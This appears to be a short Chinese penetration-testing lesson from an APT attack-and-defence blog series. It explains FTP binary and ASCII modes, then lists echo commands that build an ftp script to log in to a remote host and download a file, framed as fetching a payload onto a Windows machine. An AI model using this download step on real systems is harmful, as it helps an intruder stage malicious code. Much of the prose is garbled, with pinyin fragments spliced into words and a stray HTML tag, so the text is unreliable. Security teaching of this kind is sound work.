第四十課:ftp一句話下載payload
專注APT攻擊與防御
https://micropoor.blogspot.com/

windows 全平臺自帶ftp,在實(shí)戰(zhàn)中需要考慮兩點(diǎn)。

數(shù)據(jù)傳輸?shù)耐暾浴?/div>
代碼得精簡

ftp文件的傳輸方式:

Binary ,二進(jìn)制傳輸
Ascii ,ascII傳輸
在FTP文件傳輸過程中,ASCII傳輸HTML和文本編寫的文件,而二進(jìn)制碼傳輸可以傳送文本和非文本(執(zhí)行文件,壓縮文件,圖片等),具有通用性,二進(jìn)制碼傳輸速度比ASCII傳輸要快。,所以在建立bat腳本時(shí),一般輸入bin命令,啟用二進(jìn)制傳輸。如果用ASCII模式傳輸非文本文件,可能會顯示一堆亂碼。Ascii和binary模式的區(qū)別是回車換行的處理。binary模式不對數(shù)據(jù)進(jìn)行任何處理,asci模式將回車換行轉(zhuǎn)換為本機(jī)的回車字符,比如Unix下是n,Windows下是rn,Mac下是r。unix系統(tǒng)下行結(jié)束符是一個(gè)字節(jié),即十六進(jìn)制的0A,而ms的系統(tǒng)是兩個(gè)字節(jié),即十六進(jìn)制的0D0A。

1 echo open 192.168.1.115 21> ftp.txt
2 echo 123>> ftp.txt //user
3 echo 123>> ftp.txt //password
4 echo binary >> ftp.txt //bin模式
5 echo get robots.txt >> ftp.txt
6 echo bye >> ftp.txt
Micropoor
?